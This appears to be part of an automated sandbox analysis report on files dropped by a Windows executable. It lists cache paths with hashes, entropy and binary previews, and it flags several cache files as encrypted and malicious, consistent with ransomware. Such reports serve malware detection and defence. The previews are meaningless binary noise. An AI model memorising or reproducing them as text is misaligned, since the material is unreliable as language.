..h.Q.?...j...p..u...9mA..O...@...V.P...@...._.bT..vf..m....75L.....\|....7~....v.x...c.^e.>..A....~.F..../"...N\.xV^r[K.,....y..~...e.]h...Bl..>Z....ES.EJ.....x.erM9.K...V....#.;5%...x.....\v.0..a.....{....+...tm.`h....3w.G.I=.M..x.`..\|.=nK..s....%..eF...\....t....9..[...-......J-_.3\....i........fY..@.....9.......og.....^....h...&L\Q.k..~...c.gCx.rh.}M.1.9...Mv..P.....B...d......F.=.3.C....L6{.........W=!...?n.p.T..<m.c.A..0..3...E.J..C....u]X;._...o.....Uz.y....c..4......Nv....~qD..2..f.r...........b7.9djp...q......j.z&.....^.k...bd)....h&)..V.K+?H.t...d...p.%Q...e.s..q.1....Q.......F.EI-.S..S.7....o'.zD..2z..fkF..C...f.O.S......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.319061234284035
Encrypted:	false
SSDEEP:	3072:OGSgHUFVWwdeFOLf7/A+Sb39StVmBlvCGdOwv3eZt+eDkPqSloaPaW:9TnFM7/lSb3QWffdOkGoaSlV
MD5:	A706B6DB07CACE0A2C1E1167287EB8E3
SHA1:	A3C3BA9FFC2E8A06FADF248E98763D9AEE921B43
SHA-256:	20E6FE519E88426F695F766B6D14A5EAAC0E5F902FCC2C9427C115F68419C880
SHA-512:	67D0331C375CE46542815C2E45A9C19E3DEE16096EFDC4DCFDF17F91BD776FC88806BB6B4DCB6E0C48B017581C30AF668F2EC27C18F16AAD3713038BA8016750
Malicious:	false
Preview:	...P.I.\.a.7AN.;w..G..+:4...w.<t.k..B.\.W...P"....q3..... .t.KSjo.V<.hD.k.F\.-1;.Q.}...+/.~.......s...Q.D..q.P.....[./."yb&.D.`.(...6;.#.......]r...}......!..\7\|E3N[SG.P.?...=...............j.V...o....3.}./.hq..G.6./~r_.l-..h.(.W>...p%.D...w..#z.....l.c.S...e/4..%..#H....6.......y_..].Q...g..#.4....{.>..RkR:.P,...w..i.dq..o.....d.t...'..../f.....D...b.~`~..;]....G..5=^...Y...T....-.}..,.>..........Z8&B..l-.lN...G(2...1.nu^.;...]..+...zh.:N..8._]......(..$:..=\|.i.F........\.....1+..2xVNN...........I7.%....O..#..0.oD....z`=...m........8)."l...v............N...B...m......8...-2....@.(..fn..g.K..........."...r....rcTv..{.:....cQ'.N.<&..DR.%..O..X....9.].i.C..5.D...){.%.T.a'.}H'DC.3...9.2O.a_c.VK7:Ul...`r.+.T.S`.4&).'.Yk..z..dD".O.-bka.7*R-.>.{.QS...W.V%).....N.F.sY.4\|?..0..]. l.._ .Gh.zJ.....CLoI.&....,..'..bL..`P.]."....u..L...yx.X>....a.....+3......q8BV..m<x..i.2...S..XPF...0.P4.3..f..._6<..f.\.\|3.\|#.c....Y.)5.W...N.....G.w...x.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987810883053607
Encrypted:	false
SSDEEP:	384:Row/vaBIclxJML3rLq0BhO0KE0ZPt7ZirVuBoJr:HaecDa3rNBM0r0ldZMYBoh
MD5:	54E5C5425BF351958904179D6506A3BD
SHA1:	F50EB5527649C01D0CA62A32D11BEC47E25969F0
SHA-256:	BA063B647F0421A85D2D4769C9BBB3B652C5E3DFEC82D15B2C4594F6AFB0723B
SHA-512:	46A4F2C3684670541A3CFAEECB2F6419270305D8FB45C53598B7540D16964443F23EC947BD67B654D877C0BEE8829BCF263CC14640259C2661903EFC8695FAB8
Malicious:	false
Preview:	L......,MJ..5..U......5).D$.....,...s...Ih{E.U.....e..)....Tj...b1..H.....z}...Y.x...XD...E;....,S.9.;....f.....j9.H...%...&......}..8.....Q.........@...D..{....=B..@.QD....pnk."..m..4.Qd.7J`.9..\/.......d..3kT.x.L.J.B....+v.4/..O.9..^.n.y.O...].\Q.C\qk@.....ce........{...4g;.Qu........>.Q....S.~e.V ...K..7..:.."5.&.E....d.3..'...n\|.1...xA-M.....O...+..._1...yS...=. ..I.j..a,...Py...V+E..X...DU.z.Y%....d.wG....g.'..5z@$.KW.B.x%`-.Q.u..)..mG-...o\|.v..t..<{.l.....+...=..QZ8.A.~.o.N.....$.h.ls..R....rH....&...QP..]b.....f.A...w83..k1..&.K..-...U...yX.L..C...{.E....&..P..'%.H..1.....r..w..yG>}Fy.&..p'..U..P@&....F............6L.XQ...F........-.. ..Uk..7......xf......l...,.KS.I.M:...W.H...5.t..\|.#.X.v....m......X0g8#.f..r..mJh4.vQDt......}.<.H.O'`.=..+.Qn...n..K.d..),..:".f.E.....#..j.9.d....^..b.....C9.u..h..u..Nb...,h\...[.B..C....i.cuU../...rs...-dl)`.....UA.U..3oa....R....x...S.."..y..2b..?2a.j.L.>.?.D.....a.\|...u....hvU.^...E..I...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.0588143934344063
Encrypted:	false
SSDEEP:	3072:0WmorhW5081jt2T12yMOq1TRfy+fUyTAqxzJwFv6eSrhvtXDRYPcxvVaxMAaxV:ior818AyMOsxy7yT9iErh1TRY+vz1
MD5:	FDDC28108F52DD09B3C2BA6B196F67B3
SHA1:	BA2708A8C2D77B0F9E884EEF6267DBF5F628D0BD
SHA-256:	9F54162354B5A38C125A7DDE841383EEA69DB8074108EE1A239BC6AE456F82AC
SHA-512:	0ECA2186D4AE5AF81501A39F826D4CEB0349EB89D01EBD553AFC22C4D65A682BAD53CC481CD389AC57FCA7EBE83DD556A4441AC780F27DA95685ECD9B52A5E88
Malicious:	false
Preview:	......a.Vj.&x......5<ObB(..Q-..!..:...'K..;...B......N....[7....O....o....2.0.p.LA....Vn..._..~....ylh.vo....;C.R.>..T..b\Qn~NqNW..Vs..D.E.8...... 0..&.L~k......g...R.d...;....0..1Lc....m#.........#..7h3.r.p..Y.`..,._.e.0....`I_......x..%...E..........RiQ.0.....!........qu........]...M.4y.7..o....O. ....=A....L.aiP.n.....(..\#.p.?.]..2c.E...'O.->}.TJrW..cf..f.<;R.U...~..4.j..f..V..SL...Z.o...]`..h^t2....S4..h./.....aZ.>m.m45.\..G.6.......7......s;7.P&..".&VXK.-.L......&.S.!aB...y.....P.mv\|.d...._.c-....ph?.h.._..(.s.@...A.F..3]-.....D\|'.%}...)[........r.@.......r.T.y`..Y..".)..../JO.I..-./...3d...f....;..K...,...\...:.C....>.Q.... L5...z^..q...!.60....A.i..h..P.=..!t..0...p.a......>..*6am..hdQM.....u.<.D7.'JQ..e.<......}....]...\|..s..J......8.W..]L..m1.5.....T..}.=.`..=.......C....+i...;..\..W..Q..^$.0.N....... ......G........E....i.SL#...? .....O..f...<..=..?.....UF...yAg....Za..$..fd@N.~Q'U.......7..(...VQ.M.T.r.r2z...=Z..No.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989676642292136
Encrypted:	false
SSDEEP:	384:TKAI/X3mLny8VCG8+YIa4RwC19wPxnNaCpDmHsNuTv9i6Kx:TE/X30I9kwGGvaMDmMuv9iLx
MD5:	75D02FDB5308DE52D6D84005009A748F
SHA1:	BAA82D3DDFB117F63A29BA89D42E20DA5FE592A3
SHA-256:	14438822948FDCD3A6E348E9ED05C80FA099A7C8F4D1D9816FAA01EAD516F42B
SHA-512:	0AC3A0FCBF2F79BBB3C4EAD6E56A47503EDD7FCE3525D019940F9C80F6AA3304C7A5FED9CDCF6D17C48A5BBE091F2DA916C5B5D68C04561CAB011CA37EAD5B4A
Malicious:	false
Preview:	.5.!..I....r.._.J q.=..[~.".z<.i.Nb!35..W.<>'[K..)p..O.Pzzy.CQ......g....H.....]...Pn.@.f..qt......Y..$..\...a.^=....Sy.S.I;p.KYRIj.{.....~d..\|..$.\.F.}tJP:......}.. ??3c.3..^^..Q.j.5...... R.N}..@...^t....P.n,.,$g\|..6x;@.6...L5...]..5~..r.....@.G..bt.h0@."cml:a..Ui$7J.8.+...z.r....X.\|.@.\.?..S-";.~K.M.oJ.trw.....>SL\.v.O].c.........i..........}..+G.5..........OF.kI...E.P;.......c;..{.:.y`[.i.......[..2}...L0!c....,..i...C...\|=..].e..8?.c...g-....7$.+..A.].E.&.nob.2.......].....p..fWQ..L............dr.\|j.....?.w~.y.....P..$.f!..+.ID.s.1J.4..1........Ls...p...S..>.I Ua.......c..a....a..b\|.......gT.2p...).XOA..........Y?U..9..G...!..b..i.i....&..u-...s../...j=o....Z..p...z.p...6.A...^ki..oO:............cmI....F.J..QdG.#....}2.&....vd.~..(DR.%....X..v.........$+..:.].$....P.j....z_....)...6...$...0p...U..e)..s..yJ......nI.a....H...UL...0:..wr..=q.]7...%\|............A.......>.0xm.._..f..Y........,~...P....e.\...0.....(.~9..A..a....=.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975150323591753
Encrypted:	false
SSDEEP:	192:n49+PG8ZIbReSChbgI3nS0IJ5qAu/QRR/3JwTIHi8Qx7ZC+:20i0YM3/QRR/ust0dz
MD5:	E427D2F972855013ADA0E73035E57B7E
SHA1:	233289A192477B7F9F39EEF001EA746797E5DD69
SHA-256:	AC76324121B0667EC1792049C34DF7D8E1180EE92EC8F185A9165DF1176E7CB1
SHA-512:	CF820AE01E1D61AC87C594803054C246B476D6B76E8F696E4F78A08C353E47D1CD99300F17A44E36FD8E0A51F6DC8601CA4D4FACE09D9842BA1DECFCB365EA06
Malicious:	false
Preview:	...........z.....,.p.h.\|....-$....I...z?T:.TK.[@s.N....3g..8Qjy..NI..(...Ou.FC..~`....Y.Kf]..2d?..OGm...yp.Q.cG....z.JHN.W.....2....U4.......`...........Kh..o.k.X..F.U.`................8......Y...)..1q.iO.._...?....1...(..N...5./..$1....6.....e.c...>J..I..,.8/.P.{.OKB......LS..p[.@.=..,+9..4...zk..X.C.p.......-\*..1.D..q....3.\.,...X.J..4..1.q.6.D.......,.N....<.an.g...T..=.2....U{M..U/@..M.$V,.....@Vt..k.#GSD....7..41`..E.=..&...._...o.7.p1..;&.!.....&...-.....9._T...zq...p.Z._.#.j.q..$.C0,..<.7..X...f.s..K...{..IM.f.....fP..........s......O...9.....V...I..s..........M..i....\.9..m.9...i<V..f......w..$....H.N. 506.4...?.E2...0.......O..o9.^...8..~..5...^G.\.O!..3..<.. ....$.P$K..2..<......PS.x.x.(.._C3..._6....D..L.b+...!.d3..6c9X..O....qT:Wb.....,.ZI,v..f]......4.mq.E.3..?.G...z.s.....&.@..<,:.o...K...u%......`.J.......E....S..\.k6...5..mT7...........G.~.M..x...t..B.B.....Q.=......;...e./...........!..D.T5C.U..@lH.....W..A`........=.n

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2079130570083034
Encrypted:	false
SSDEEP:	3072:vcA1FnjoglqQDd9kRmf2bB+kG13HLObBqqun:/oidgzBORiIfn
MD5:	CB242557DB3EACC49ED177D517A21083
SHA1:	4577362D10226637508FE24A40030E277739F1C3
SHA-256:	ABD93FF7322C7C6A14F1B59DC5C4778EA4D9DB87E914639E2C2E115AD5EC060F
SHA-512:	701A53DE80EA0C4DB7E92262AD007EE06494ACD6610F35163FA9D8EA5163B65154C9D2C636745141B1998D5056C5A7063BF7346870B3861AE60ACFE113BD4406
Malicious:	false
Preview:	.....!Q....).-fChr`...:?. ...Y?T..O@?;Ak.(.V.....Silz0.g.......X...McM.&M.s.AAH.x....&B^.0\|.K....3......V.....<j.<f.on...;...r....hm..H(>o.n...U+..;2.\|.k=..i...qd.......$..:..b<...2Q.O.4...4..2.m.SY..g`...@...nv..._2...H0{&.Q'2.......V...RqV{..4).p..K.;l7...%.<bt.p...e.#.a..F..J..O...r.....(C.D.}w.L....AW...i8T..!.W`..DsA....1.lMA2&....$.F....P..{.i.\|^;r!g.SO..........}.kY...F....v.._H....w..w2.&.9R.S.o7..7w.....D^(.y.r/..7.B.$..-S.\..]+..^.......]..x..d..+.....a7.N/.....Wx...Q..`Z3..f.(..Hf...B9.6q.....[..-U&.9..2...r..I..m@..Y....Q.W.I-.>....hL.......F......A..6.tK...@..U....Tw6.....Zv..i5.O..(..Y.b...l./C.....7.m.;o.K..i..PH.]H.lyu.#.,...T.J>..>."..{....B..].zZ.h...O+:.....,...c...`...~...w...B.@$?..88.q0...i.._4..H.}.{.&.....n.....EN...=..tpLv.......!<)..5...M.\.T)5.....jB..>.1..B.)..xY#^.,........%E........Q.....y.........;...C..../....!.5.W....a..k>F...P`n'=`.+t...u...^...)I.W....../D....E...(~t....9..].,a....O.5A6[...N.+."...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2083771312162637
Encrypted:	false
SSDEEP:	6144:qWU2PsCbbGnAzceQjnISHksHAxbjmKMeK:hU2PsCb9znhSHgtY
MD5:	B9AB20F1E7A1AB0711AB22DF6A70240E
SHA1:	EA3547C3CCE8C92A40EE9269278780B392EFFD1C
SHA-256:	B3DF0EE10CC786097019592B169684A9A617E5DEF3AA0847E275E01879BA2E93
SHA-512:	A142B2FBAE998A160AD5468C21E8546D9D64F25519F3BE0CA51403AEB1DD7C3C806B085804BB7F211A158B6573BE0EFBDAA235BF498CEF44003890120D453D44
Malicious:	false
Preview:	......B.b.2..I.r.]$J.I......0.r.g..jHf.Jl....\|eQg.$...-NY.w(.J.9.X4.....hf7K......m.....,n.=.E..D.o.6..\|..............H!......#..DX.`rP..)}.j.&....'.$..f..\#.;(.......H..p)?......`.....NCFw..%ET...1@.\|/i.5m.X8...A...l......&..2.......p.n...?..j.z..+.H.xjHz..xJ...\|...l.)~WO>......u$.JU.D...@.x..V....'.{.....QQ.\|.~.^a...,.z....6X.....h..b.z.l..$j..g.Sc.O...!..%..]/.....9"..mV...`...s.$ y..C.f.u./..n....~...!W.[.%.Q.4.B.Z.vl.0TL..:..P......K\|z/Y)t..A.m._..e,........;...........YXO.......r2t.........-...2...z..JP..Q.....Ve...../`bRK....}..E..1.7.....>:..i.Rex........c..G...g..+~.....k..O1mu....:..P.#J.@........!.~..}A...2U.n......8.{..........w.e...$Y.)...E...ep.V.~.B.v./7..9n."..5.J.W..=v.....ris..\|ZM..3.FEd...~...L.F<./Y.......!.{y...i..I.B9....+..w>.k..jr.............o-....).`..==.uXDc..o.f.F...G].3....."..,$G.j.=L...'M.;...v.8....e..:..Z.C....z.D..b..."1t9j.w..W0c.....l..np;....?=..b......l., ..n.e..ahy....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2072096741483027
Encrypted:	false
SSDEEP:	3072:2mdJ/9a258eDdrWSXyFcDeqGHIJFxVhSi/Ub9juw/NTxL:2CaYhrCcDeq/JFxVHdw/NTxL
MD5:	DC377B309F3E462AFC5C6662194BB559
SHA1:	9DE8E363F1D38728B7A9DB7175CCFBCFE53C5005
SHA-256:	74F91527D00F91AD13C6BCF4DCC1AC4C1C110DAE9C27DCAE2D65575F5363D37A
SHA-512:	1379951526286B1DD4C6F49EC4F6799A2640A4873E68E3BAB32220322B1484E6B1D1B205AA37549A5EFEDB12DE72CDDD8C528963486D7308DCA5231F96215ED0
Malicious:	false
Preview:	.......+U...nw%.^4.'3.:`..J....;.\|..p....U.Cr...U.,.`k.......Z..c.....N..rW{.Y..h^wd.K.......V.[.D2t..9..}.w....`$f....$[e.=.@c.....t..o.?.!.wH.1H.:.n-.'^.,....@..7"$..Y..1.aZLw.c..]..nl.....5.....$o"........_~.v5(fN..w.Y.....:.v.......m....U.fP_...#.]...T.<.R..sc.a..'\..(.o.......91)Z......[2...AY...C._...gh.SF.rB~?a?d..L.Y.Uz..N.#rtEt.+..QmkOb&q..7..R2+.xp...\|O>e.Y.Q.^......5...ZH.#.....Kf..z..v..]..Z.v`.Q]d........\|.w.. .....@#.....}V....6(}..b....?..Z2l.?...9y#2..r...4r.\|.9}..cR.+..T.4.<.5.f3L..b...S..A.QsT....8..M..]m..`q..wG.............2N.,@..{..\|.F"A.{-...N...M...:..B...Ks\|..D<.63.o..v.....+@...MU.p..vU?.O...'....e.$So<'.j..H..uP+.k.%..E@[.....#3...g.6K%.S....AH.b!..!.I....s..[.%..p..}..T..tO.kIm.c.....%H.....i.......P1f.....z@.].>th...K..G\#y.".).>E.t.n..,.N.\|....9bF{..R.2...$.. ...7........^t.V....A.....`q.X+7..).r...0K...'5.mSE.R..J}~........BwQ4.e...%2...X.j..u....Z?..w~>.>.Q...3p.:....Y......7...J6w.....C.....r...w.P.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207347508276798
Encrypted:	false
SSDEEP:	3072:iSNfAKAkfnBFvTpX57EEaekLX4QqV4eTucGKp2uEt33:VIg7vtJ7En/b4QYlTKK2R
MD5:	78B544AA6E50D4898C685C0C2C7D2DAF
SHA1:	F71C1877CF1DCD97EDA4D5459916E37727662684
SHA-256:	F871A578BC1B7BD14A699B4927E588B1463555B1F7A514A71E014DA54DA70B9E
SHA-512:	EEF1265B050DC2DCA6BA380B4B81503A7A4FF6FED6D259F190B50C5307D8557108412AB247E0D08A09EC95959D74E359376D51E39B62E98122D1329E4EF3A75D
Malicious:	false
Preview:	........+K.y...>....Nmu...}xc.....q.....n...-p1.....S.H....m.Q...~.E.\|.s<%\.........6G..m...~.,.....Y..t.`...z.>.M.6@'.....'.n1D..o..1.$....M...c....&..PE6o\...e..oi..........9_.`......7y(....7..{...X.7z...I.eoB..........i..[...q.-.p.\'x!.B......OE.`..eP..).......Y..X.]".T.R.)..J..,ED.......,[.q.<b..9........6...K.-.zGN......4......~..O.....yl.SH/T..?..S......C.....o(.Z...!.....YfC._t....&.#Y._m.f.4..(@.}..P...K.j#..f.x.?5..Z...'.\,a..0..k. .....%u..}..s..D.Yx......Z..M.....f........a6.c...=.]j.00.E.s..:?.==9...`..0.....g.x.}.{T;......._!.......!.gS...............KR3j.w.R:._5.PY......j....p+.9..,"..'uM3e..7...[..C3.F.N...q.....1D\|}6..m'...H6.K.JW..O-..^......(..`/`jd.O.)..)...L.l.I.p..nt..O..+A!..l.IG...b.M...T..8........_.o..*.W...{.....PX.P.>...\Pz.0jP$xH.Y.d.#....Q/.,.hI;)..t.....'.=;.........D..^...x..G.f...+.J.OS..w....Nm.K..oed8U.\|..QA...R.Sc.y.`.....j...]r<.u...%K.w&.g.F..8.&.L.nAz.i.....=..t..`.zL.`..J.l........G.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409000886124092.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	101855
Entropy (8bit):	7.997946434991618
Encrypted:	true
SSDEEP:	3072:XYPARQ1cI/srD8x7aU/G8nOB81klbolmzwJj/iCwfviXJH9UpY7Q:s0Q5/0FU/zOBAklbcmzKabAd27
MD5:	9C568DC5DFE94CD9882E898D05C80525
SHA1:	027947511D7D547824D1080ADB94C5ABCF2518FF
SHA-256:	297C1C11437B52B1ED9F73EB74342070F6C917B06EC3CB5268C4B10650123064
SHA-512:	1E1934282B1BB934B06AC9EE66813FE651A58DC09D5920CDC4EB11941E076EA126080966E4B48502FB0943B1BEC70D52F93CC102F9BB18E5CCC0E6FBBA6D3EE4
Malicious:	true
Preview:	[{"Sy... ..-.h...q<a.s..'.,...t....&.....:.X...f...}.O....s..N?.7.O.v.%.9.X...<5..&.ys...8LzJ.Q8.t..F..O_.G....].4L\.....f.1....s..g..\....k>;ik{....q."...".k{v._.)...AG.v..Q..F._...$.Ge....X.}..w.]..<%...='5.....{k.h..L{..!...".96.S......"b...@..._.-....r. .f..A.%..Q}if.q5....Um.A..{.?...jU...'=.\|.x6EZ. ..tB.KP...[.d....U.k.0 .q.,..+....H...=1G..[YS..\|..I..<OV..n.?.(.......).BTL.#R..WC..'...d...X.s:QX<....r....I.S....b!.U&......U..H?..DnUN.U..lf@..>4..8_I.?D.........nzJR..BW.DWx.F...1U.V...v.A.1j..)os......D..l...zl1.5.-...P.....N.X. ..}.2.. .B.5k.y3Ot....(@..{\O..S..,...O).&...P.....Vf.....$.D.-..'R....^vVK.%...9........8q.].=N..p....(&..)wN..^.....X..5.!..~=F$z"..D.{6l/Yx....:R.c.....0U{XB..[J.n.....h...j....Q...<..v.rg..S..\....W6..&OM...0..../.Lb.2..T..t.`..Fv...g.W&..X....Z.R....>.h...........l_...@..F....j.I/.....$.J..&...o'.f.1:$q.J.$S...28...~..q..[.<.y..x.h....]"v5....L....p......A...m..'.....P..'...H.......PH.w-

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409003495205506.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	104130
Entropy (8bit):	7.9981827796286735
Encrypted:	true
SSDEEP:	3072:XripGU5dX9D+svNa/XlcgO/VXq2urPZMv:7iku7D+slHe+v
MD5:	5C4757265E2CFF16210DABB9E2B242FD
SHA1:	1B2ACEDF5A525C1AC4E7890B1989D8A0EC73C219
SHA-256:	4ABD28F57FB50B112B7EC3D5BC0179A0465664002109C294213EBD0BA38CE5C8
SHA-512:	A62AAEB38305FC19144375AF43878CC6D27026ED82EFC6D53083A4184D3255365F9699D837E0F532B8A4C744D1536E705A55F125D934ED2AF344430714965914
Malicious:	true
Preview:	[{"Sy.Vn.+O...KG.....9....jV...d.u.6.J.....%dT./...n.U...3^..H3F.j.?.f.}....-($..vP..a........fH.>T .....&;.H.....NNU.'....v.U~.w...F..sI[....V.....\ a.I.]:....YYr.V...S...r.l......}hQk..f..S.O.....!F......q..B.P;P{S..G..>7<...<.1..y....e......_....f...UG.Xz.'C.>.Jc..RT.)5}%g..;...K......O...w.../."..K.k..w'.t..h..$.T..{&.....m.L...>..@......6&q....yq.........=..k.@..RV...2PP...Mt.?a.~wO...y..@..L.H......O........DB.....l.@5PB.h........!j..~...s.".q......LZ\...3p.....C~...On.t.ap.n.2y.Dc.H..F....q..5.&..M.6j..'..\...BP.7.F....K3..:}.x.....d.+....+X.O..5m...'.#.k.w]..{.....s$....NB2..'-!O.4VZ.....[.y.#....k?.....] ...b..x<..OQG..$M.B..@.......j.....a=..\....+...^v...).f.....$..v.... .{6.t.q.V.:.......o/.ec.....l~,{.5).F.....!."..8.Q.]<..Y..7....:d.....c.......3..P.js.h..P.}.#....s.@i.....E!.:.8.....$.w....Az....Q..v....#.{..`A.fZ.K7...ICr.U.py9.....Y.....)..i.A.u:..Ke...O...@..@.c...X7Q..!.Q..z9...4...G~......c3..*......K..1..-.q.7W..[

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409003693874026.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	104148
Entropy (8bit):	7.997937766963397
Encrypted:	true
SSDEEP:	3072:A0k/9vg1d1iFfyU5EQ2jPh7WGZlKzQkcRvDJJvRT:A7Zg1d1mfVTWh7bl3LbJJ5T
MD5:	65F6E1D17915AA5890D82D1DF5D54893
SHA1:	FA7D8FB46FEDDDD9F860A430E44ED50107A03595
SHA-256:	D45EE4B3CD80915CBB00E031B11F2D83B3FC5379DA87DB4BAD27A6C349B62167
SHA-512:	435A5927E3C709FCE005F979DFF0ED8EE72AA92D0D13E8DCB2C0F95CFB4391AA17A2EB956C4BCAECBDA3881E88AF5441CD42D25FE308657165AD11DDBDED76F6
Malicious:	true
Preview:	[{"Sy....O..].../P........W....../..ly"cg..[......=b\|!n.^h4u....A..l.M.E.'..O...L[X.<sT._..u5.j.{S.C.h..c........}&....M"...c.7D....<......l..`!..;Ki.....a...7.~..I".>.VV..w.]n....P.raq{.1..3wb..^.(2,.F.Q...l.....~.......G...%~.........3Y....}R.XufI<x.S8...HkJ.....FWtP.9;u.Dy,C.\d..t.@.$."......l.Y....C..\:..^.9U.t8&F.E.j.=...P.C..........X.^.a+.6..8.Eo..H..@.0..s. ..V.O.=.......;........5...tl0.al...W.Krh.YE..tA.....i......I......}\9Y,.`.r..1.@...".J.bv.r,DFN..C...Z3.c...$.%O......=.\|.~..U.s....}V3G..<.........0j........[.......e....$..l4ah..tm./....."{.......A.v.6.\1...L...X+KT.........(.ew._.D'=.[...3s..}.h..?6@..g.[..~).rS...V.d..l.^..Q..2.!.xoP....x5J.Bt.z.;.p.sI..F..Z..V...) 6.C92TE.n..jC..?.&.. n['MQ..c..l^.}.om....{BF1.7.o3\|w%?.w.>m............s.......ud.m.p..5$..O......\.ja..gF1.M.px[.+.f.N.@.B.\.....TJ..=...e<...."E.._...W}\|5.h... Z.A.......H.!.s.....ck...%.u9...{.Vzsq+CJf{....s.#....&.G..)C...>..X.b...._.pCK...-K

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004157646270.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	104184
Entropy (8bit):	7.998239857079748
Encrypted:	true
SSDEEP:	3072:lfGxKlcgF6m0b44Ly3Rl4M9Ud0o7BhwEDo3kjoA0jNpNZ+BnK:lfEfgrYrgQ9BKZGo1NpNUBK
MD5:	92B66795786C6E2F31BD7F65651E04A3
SHA1:	4A38673C59110895992FB38E572FDA03898701B8
SHA-256:	C4BCDE3511A680BCCC299D5D6AEBB4D1A554386815525E5CFD1273ADE7E3EBA2
SHA-512:	D8D4B8118BA8494D9D3C2EB45A57368650177ED214F1FAF984A54917222A254BB3A6DF857BA837E757EE5C26DC59CDCA4C5830E785FC73D8C49BC8C6D75C7615
Malicious:	true
Preview:	[{"Sy...S..M......3.n.....r...e..=..pj.o..>..S..f...:.voUR...=.-......w....=m..I.#\|Y.....Y.}.....bb..G.OJ\..p..=...J.....v.7.-l/-8..[.,U.3.6M.Y.N.9.lX..M...ct.]...."/.,WBE.o..Z.Vzp.{...G.u.t...W..zc....c.....!..b...M.^....2F....#a"..K..F'.nS..[..@5.&Q"m..WL...."e.c.lcoU.y....E{...O=h.u"..H.~.......z,...~../S...2.j...'...{.._{...Ln...Ng...n.{.xFD........^M.......?6mU..e&..c\.....).X.A.\+........Q.S.Q>9.=.Q.5.+...].j...r.y.N:...mQH$Z@.)wEv..D.$.....I..%..r;m..G.3......aH.....=..Z....cCn.\.....b..../'0......[F.7....%..PA..=..(....._.r....L^H.-.S.},.:... .v.....h..z\|.q....o............YE.V.n.o...X....,.7+..a<m...$....J.ML.....0.....u S.d.Y`...#.r.g.(..}...R.Rp...(.NW..OGc.lD(b.k.gv1C.J...=.].X..tB...>....C..p.,G...6......K.ieX6v.A.F9.../...6.yo..\|..<.,d...Ih.....]..=.W....}t8....Oa;....D#CNGX"X..H.N&..E....8..b..UnS....Z........`.'UJAL.e..7.G.VPHpe...q ..O.h.H!.Gb.V.@at........,.....,.........v9d6E.\|.}...-(.(.B.......$;../....<(i.2:..8O8.5...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004610890001.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	104202
Entropy (8bit):	7.998226108462404
Encrypted:	true
SSDEEP:	3072:fuZuo87lRvQgPS+VivEGjWqVomI2SBU/P:WszNa+EvzjWuoDzBOP
MD5:	1E7431752D2EC8BB2E9BBDD309179376
SHA1:	A88AC45973819B418A89BC1F08F0BCEC2A74AAEF
SHA-256:	447EDC42DE343E09634AE1D2A118720F700F74B251F3A4AB841FB75862326CF9
SHA-512:	B4A9E0377BF9ED55302F55B9FCAE5D44009F20C273666938EAFEBCF61298FDF102ED58DA9A6C42463BAEAB7E02854E454FA46CB6F9C1C07FA72C07A95CD994FC
Malicious:	true
